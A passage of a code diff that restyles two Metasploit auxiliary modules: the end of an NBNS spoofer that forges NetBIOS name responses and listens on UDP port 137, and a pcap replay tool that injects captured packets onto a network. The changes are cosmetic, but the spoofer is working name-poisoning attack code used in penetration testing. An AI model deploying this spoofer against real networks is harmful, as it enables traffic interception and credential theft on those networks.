"\x00\x01" + # Answer RRs = 1
"\x00\x00" + # Authority RRs = 0
"\x00\x00" + # Additional RRs = 0
nbnsq_name + # original query name
nbnsq_type + # Type = NB ...whatever that means
nbnsq_class+ # Class = IN
"\x00\x04\x93\xe0" + # TTL = a long ass time
"\x00\x06" + # Datalength = 6
"\x00\x00" + # Flags B-node, unique = whatever that means
spoof.hton
pkt = PacketFu::UDPPacket.new
pkt.ip_saddr = Rex::Socket.source_address(rhost)
@@ -124,56 +126,54 @@ class MetasploitModule < Msf::Auxiliary
end
def monitor_socket
while true
rds = [self.sock]
loop do
rds = [sock]
wds = []
eds = [self.sock]
eds = [sock]
r,_,_ = ::IO.select(rds,wds,eds,0.25)
if (r != nil and r[0] == self.sock)
packet, host, port = self.sock.recvfrom(65535)
r, = ::IO.select(rds, wds, eds, 0.25)
if !r.nil? && (r[0] == sock)
packet, host, port = sock.recvfrom(65535)
dispatch_request(packet, host, port)
end
end
end
def run
check_pcaprub_loaded()
::Socket.do_not_reverse_lookup = true # Mac OS X workaround
check_pcaprub_loaded
::Socket.do_not_reverse_lookup = true # Mac OS X workaround
# Avoid receiving extraneous traffic on our send socket
open_pcap({'FILTER' => 'ether host f0:f0:f0:f0:f0:f0'})
open_pcap({ 'FILTER' => 'ether host f0:f0:f0:f0:f0:f0' })
self.sock = Rex::Socket.create_udp(
'LocalHost' => "0.0.0.0",
'LocalHost' => '0.0.0.0',
'LocalPort' => 137,
'Context' => { 'Msf' => framework, 'MsfExploit' => self }
'Context' => { 'Msf' => framework, 'MsfExploit' => self }
)
add_socket(self.sock)
self.sock.setsockopt(::Socket::SOL_SOCKET, ::Socket::SO_REUSEADDR, 1)
add_socket(sock)
sock.setsockopt(::Socket::SOL_SOCKET, ::Socket::SO_REUSEADDR, 1)
self.thread = Rex::ThreadFactory.spawn("NBNSServerMonitor", false) {
begin
monitor_socket
rescue ::Interrupt
raise $!
rescue ::Exception
print_error("Error: #{$!.class} #{$!} #{$!.backtrace}")
end
}
self.thread = Rex::ThreadFactory.spawn('NBNSServerMonitor', false) do
monitor_socket
rescue ::Interrupt
raise $ERROR_INFO
rescue StandardError
print_error("Error: #{$ERROR_INFO.class} #{$ERROR_INFO} #{$ERROR_INFO.backtrace}")
end
print_status("NBNS Spoofer started. Listening for NBNS requests with REGEX \"#{datastore['REGEX'].source}\" ...")
self.thread.join
print_status("NBNS Monitor thread exited...")
thread.join
print_status('NBNS Monitor thread exited...')
end
def cleanup
if self.thread and self.thread.alive?
self.thread.kill
if thread && thread.alive?
thread.kill
self.thread = nil
end
self.sock.close
sock.close
close_pcap
end
end
+36 -26
View File
@@ -8,47 +8,57 @@ class MetasploitModule < Msf::Auxiliary
def initialize
super(
'Name' => 'Pcap Replay Utility',
'Name' => 'Pcap Replay Utility',
'Description' => %q{
Replay a pcap capture file
Replay a packet capture (PCAP) file.
},
'Author' => 'amaloteaux',
'License' => MSF_LICENSE
'Author' => 'amaloteaux',
'License' => MSF_LICENSE,
'Notes' => {
'Stability' => [SERVICE_RESOURCE_LOSS],
'SideEffects' => [IOC_IN_LOGS],
'Reliability' => []
}
)
register_options([
OptPath.new('FILENAME', [true, "The local pcap file to process"]),
OptString.new('FILE_FILTER', [false, "The filter string to apply on the file"]),
OptInt.new('LOOP', [true, "The number of times to loop through the file",1]),
OptInt.new('DELAY', [true, "the delay in millisecond between each loop",0]),
OptInt.new('PKT_DELAY', [true, "the delay in millisecond between each packet",0]),
OptPath.new('FILENAME', [true, 'The local pcap file to process']),
OptString.new('FILE_FILTER', [false, 'The filter string to apply on the file']),
OptInt.new('LOOP', [true, 'The number of times to loop through the file', 1]),
OptInt.new('DELAY', [true, 'the delay in millisecond between each loop', 0]),
OptInt.new('PKT_DELAY', [true, 'the delay in millisecond between each packet', 0]),
])
deregister_options('SNAPLEN','FILTER','PCAPFILE','RHOST','TIMEOUT','SECRET','GATEWAY_PROBE_HOST','GATEWAY_PROBE_PORT')
deregister_options('SNAPLEN', 'FILTER', 'PCAPFILE', 'RHOST', 'TIMEOUT', 'SECRET', 'GATEWAY_PROBE_HOST', 'GATEWAY_PROBE_PORT')
end
def run
check_pcaprub_loaded # Check first
pkt_delay = datastore['PKT_DELAY']
delay = datastore['DELAY']
loop = datastore['LOOP']
infinity = true if loop <= 0
file_filter = datastore['FILE_FILTER']
filename = datastore['FILENAME']
verbose = datastore['VERBOSE']
count = 0
unless File.exist? filename and File.file? filename
print_error("Pcap File does not exist")
unless File.exist?(filename) && File.file?(filename)
print_error('Pcap File does not exist')
return
end
check_pcaprub_loaded
open_pcap
print_status("Sending file...") unless verbose
while (loop > 0 or infinity) do
vprint_status("Sending file (loop: #{count = count + 1})")
inject_pcap(filename, file_filter, pkt_delay )
loop -= 1 unless infinity
Kernel.select(nil, nil, nil, (delay * 1.0)/1000) if loop > 0 or infinity
vprint_status('Sending file...')
pkt_delay = datastore['PKT_DELAY']
delay = datastore['DELAY']
iterations = datastore['LOOP']
infinity = true if iterations <= 0
file_filter = datastore['FILE_FILTER']
count = 0
while (iterations > 0) || infinity
vprint_status("Sending file (iterations: #{count += 1})")
inject_pcap(filename, file_filter, pkt_delay)
iterations -= 1 unless infinity
Kernel.select(nil, nil, nil, (delay * 1.0) / 1000) if (iterations > 0) || infinity
end
close_pcap
end
end